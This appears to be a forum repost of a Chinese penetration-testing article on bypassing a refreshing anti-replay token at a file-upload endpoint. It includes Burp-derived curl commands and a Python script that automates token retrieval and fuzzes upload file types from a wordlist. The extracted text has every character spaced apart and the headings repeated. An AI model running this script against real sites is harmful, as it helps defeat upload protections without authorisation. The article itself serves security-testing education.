搜索

[7046] 2020-11-09_一次文件上传对Token的绕过

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2020-11-09_一次文件上传对Token的绕过 一 次 文 件 上 传 对 T o k e n 的 绕 过 E 安 全   2 0 2 0 - 1 1 - 0 9 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 r e b o o t O R Z 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 背 景 在 W e b 渗 透 过 程 中 ， 最 离 不 开 的 应 该 就 数 B u r p s u i t 了 ， 通 过 它 ， 我 们 可 以 很 方 便 的 进 行 数 据 包 的 修 改 和 重 放 。 例 如 在 进 行 s q l 注 入 时 ， 我 们 需 要 通 过 不 断 的 修 改 P o s t 数 据 的 内 容 来 测 试 p a y l o a d 。 为 了 防 止 数 据 包 的 重 放 ， t o k e n 机 制 被 引 入 了 代 码 中 。 T o k e n 常 见 的 两 种 功 能 ， 一 种 是 用 来 代 替 账 号 密 码 ， 当 你 登 录 后 ， 就 不 需 要 不 断 的 去 数 据 库 查 询 账 号 密 码 来 验 证 身 份 ， 只 需 要 验 证 t o k e n 即 可 （ 就 像 s e s s i o n ） ， 另 一 种 是 为 了 防 止 C S R F 攻 击 ， 每 次 请 求 前 会 先 向 服 务 端 请 求 并 获 得 一 个 t o k e n , 然 后 在 会 在 后 面 的 请 求 中 带 上 这 个 值 。 有 的 t o k e n 每 次 请 求 都 会 重 新 获 取 ， 而 有 的 会 持 续 一 段 时 间 。 就 像 上 面 说 的 ， 常 见 的 t o k e n 是 用 在 一 些 敏 感 操 作 作 为 防 御 C S R F 攻 击 的 一 种 手 段 ， 例 如 ， 修 改 密 码 、 增 加 用 户 、 转 账 等 。 这 边 分 享 一 个 在 文 件 上 传 时 遇 到 T o k e n 限 制 的 案 例 。 N o . 2 N o . 2 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 案 例 在 一 处 上 传 点 ， 像 往 常 一 样 进 行 上 传 并 抓 包 ： 抓 包 后 看 到 如 下 请 求 ： 竟 然 在 文 件 上 传 点 用 了 T o k e n ， 继 续 抓 包 ： 可 以 看 到 第 二 阶 段 的 包 才 是 进 行 上 传 的 包 ， 并 且 把 第 一 个 请 求 中 获 取 到 的 t o k e n 插 入 到 了 请 求 体 中 ， 放 包 一 次 ， 成 功 ： 再 放 包 一 次 ： 这 次 上 传 失 败 了 ， 说 明 这 里 t o k e n 刷 新 了 重 放 了 一 次 第 一 阶 段 的 数 据 包 ， 获 取 到 新 的 t o k e n : 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
将 这 个 t o k e n 替 换 到 第 二 阶 段 数 据 包 的 t o k e n 中 ， 这 次 重 放 又 成 功 了 ： 为 了 能 够 不 断 重 放 数 据 包 ， 方 便 我 们 测 试 ， 这 里 得 想 办 法 绕 过 t o k e n 的 限 制 。 根 据 判 断 ， 这 里 分 成 三 步 ， 第 一 步 ， 获 取 t o k e n ， 第 二 步 ， 插 入 t o k e n ， 第 三 步 ， 上 传 文 件 。 由 于 每 次 上 传 ， 数 据 包 中 需 要 改 变 的 地 方 只 有 t o k e n ， 根 据 这 个 特 点 ， 我 们 可 以 利 用 自 动 化 脚 本 的 方 式 来 方 便 我 们 测 试 ， 既 然 脚 本 有 了 ， 再 接 下 去 我 们 就 可 以 手 动 调 试 或 加 载 字 典 进 行 愉 快 的 f u z z i n g 了 。 关 于 这 里 的 发 送 数 据 包 ， 可 以 通 过 代 码 的 形 式 将 整 个 P O S T 请 求 的 数 据 包 表 示 出 来 ， 当 然 ， 还 有 一 种 很 偷 懒 （ 很 香 ） 的 方 式 ， 调 用 系 统 c u r l 命 令 执 行 请 求 就 可 以 了 。 这 么 大 个 数 据 包 ， 肯 定 有 人 会 说 ， 这 c u r l 的 命 令 不 得 很 难 写 吗 ？ 其 实 很 简 单 ， 方 法 如 下 ： B u r p s u i t 已 经 为 我 们 提 供 了 快 速 将 数 据 包 转 换 成 c u r l 命 令 的 功 能 了 ： 接 下 来 ， 上 传 文 件 的 包 同 理 ， 但 是 因 为 我 们 测 试 的 时 候 是 放 的 一 张 图 片 ， 这 样 的 话 会 导 致 复 制 的 内 容 很 长 ， 所 以 这 里 可 以 将 图 片 的 内 容 进 行 删 减 ， 例 如 变 成 这 样 子 ： 然 后 复 制 即 可 ： c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * '         - b   $ ' 8 5 1 4 2 e 4 8 c e 4 1 x x x x 7 c 8 2 b c = 6 d 2 d x x x x 4 d 8 0 a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 x x x x 5 B 2 C D 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b 8 3 6 9 3 x x x x 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 x x x x e d c 9 2 4 4 5 f '   $ ' h t t p s : / / x x x . x x x . x x x / a p i / f i l e / f i l e T o k e n ' c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   m u l t i p a r t / f o r m         - - d a t a - b i n a r y   $ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " t o k e n " x 0 d x 0 a x 0 d x 0 a 9 2 D 0 B 2 2 B 5 E E 6 D 3 x x x x x C E 5 C 8 1 4 0 C 6 0 6 C 8 A A 6 4 E 2 9 1 3 B 2 8 0 B B B 6 F F F 9 A 3 4 C 4 7 4 E 7 B 9 8 0 4 8 9 3 1 F 5 1 9 0 1 F E 3 9 x x x x x x 3 9 1 9 1 E 4 C A 6 9 8 0 8 E 2 8 1 A E 6 8 4 9 4 D 0 F 9 B 6 4 C A C 4 2 C x x x x 4 A E 9 B 4 D x 0 d x 0 a - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " f i l e " ;   f i l e n a m e = " t e s t . g i f " x 0 d x 0 a C o n t e n t - T y p e :   i m a g e / p n g x 0 d x 0 a x 0 d x 0 a G I F 8 9 a x 0 d x 0 a - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 - - x 0 d x 0 a '   $ ' h t t p s : / / x x x . x x x . x x / a p i / u p l o a d '
O K ， 命 令 有 了 ， 后 面 就 是 愉 快 的 p y 了 。 这 里 以 导 入 字 典 f u z z i n g 为 例 ， 代 码 如 下 ： 最 终 效 果 如 下 ： 这 样 我 们 就 利 用 脚 本 绕 过 了 T o k e n 限 制 了 。 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 拜 登 当 选 ！ 官 员 们 开 始 警 惕 潜 在 的 网 络 威 胁 宾 州 选 票 有 问 题 ？ 美 国 总 统 大 选 出 现 了 一 大 批 虚 假 信 息 总 统 大 选 前   有 人 掏 空 了 一 个 价 值 1 0 亿 美 元 的 比 特 币 钱 包 G o o g l e 推 出 C h r o m e 更 新   修 复 两 个 被 广 泛 利 用 的 零 日 漏 洞 7 月 最 高 ！ 2 0 2 0 年 B B C 平 均 每 月 遭 受 超 6 7 0 万 次 恶 意 电 子 邮 件 攻 击 ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9     小 E 微 信 号 ： E a n q u a n 0 9 1 4 喜 欢 记 得 打 赏 小 E 哦 ！ # e n c o d i n g : U T F - 8 i m p o r t   o s w i t h   o p e n ( " / U s e r s / r e b o o t o r z / D o c u m e n t s / 代 码 / p y S t u d y W o r k S p a c e / T e s t / e x t . t x t " , ' r ' , e n c o d i n g = ' u t f - 8 ' )   a s   f :         l i n e s   =   f . r e a d l i n e s ( ) f o r   l i n e   i n   l i n e s :         f i l e T y p e   =   s t r ( l i n e ) . s t r i p ( ' n ' )         g e t T o k e n _ c m d   =   " c u r l   - i   - s   - k   - X   $ ' P O S T '                   - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d '   - H   $ ' C o n t e n t - L e n g t h :   0 '   - H   $ ' O r i g i n :   h t t p s : / / x x x . x x x . x x '   - H   $ ' D N T :   1 '   - H   $ ' C o n n e c t i o n :   c l o s e '   - H   $ ' R e f e r e r :   h t t p s : / / x x x . x x x . x x / u s e r / u p l o a d / 1 4 2 9 '   - H   $ ' C o o k i e :   8 5 1 4 2 e 4 8 c x x x x 8 1 6 7 c 8 2 b c = 6 d 2 d c d x x x d 8 0 a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 A 3 A 7 B 3 4 8 5 F x x x 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b 8 x x x 2 8 1 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 5 0 3 x x x 7 e d c 9 2 4 4 5 f '                   - b   $ ' 8 5 1 4 2 e 4 8 c x x x 8 e 8 1 6 7 c 8 2 b c = 6 d 2 d c d x x x a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 A 3 A 7 B 3 4 8 x x x 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b x x x 4 2 8 1 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 5 0 x x x 9 2 4 4 5 f '                   $ ' h t t p s : / / x x x . x x x . x x / a p i / f i l e / f i l e T o k e n ' "         r s _ 1   =   o s . p o p e n ( g e t T o k e n _ c m d ) . r e a d ( )         t o k e n   =   r s _ 1 . s p l i t ( ' " ' ) [ - 2 ]         p r i n t ( " 获 取 到 新 的 T O K E N 为 ： "   +   t o k e n   +   ' n ' )         u p l o a d F i l e _ c m d   =   " c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 '   - H   $ ' C o n t e n t - L e n g t h :   4 8 7 '   - H   $ ' O r i g i n :   h t t p s : / / x x x . x x x . x x '   - H   $ ' D N T :   1 '   - H   $ ' C o n n e c t i o n :   c l o s e '   - H   $ ' R e f e r e r :   h t t p s : / / x x x . x x x . x x / '           - - d a t a - b i n a r y   $ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " t o k e n " x 0 d x 0 a x 0 d x 0 a " +   t o k e n   +         $ ' h t t p s : / / x x x . x x x . x x / a p i / u p l o a d ' "         r s _ 2   =   o s . p o p e n ( u p l o a d F i l e _ c m d ) . r e a d ( )         s t a t e   =   r s _ 2 . s p l i t ( ' " ' ) [ - 2 ]         i f   s t a t e   = =   ' o k ' :                 p r i n t ( " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n = = = = = = =   F o u n d   F i l e   T y p e ： "   +   f i l e T y p e +   "   = = = = = = = n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n " )         e l s e :                 p r i n t ( " f a i l . . . n " )
我 就 知 道 你 “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理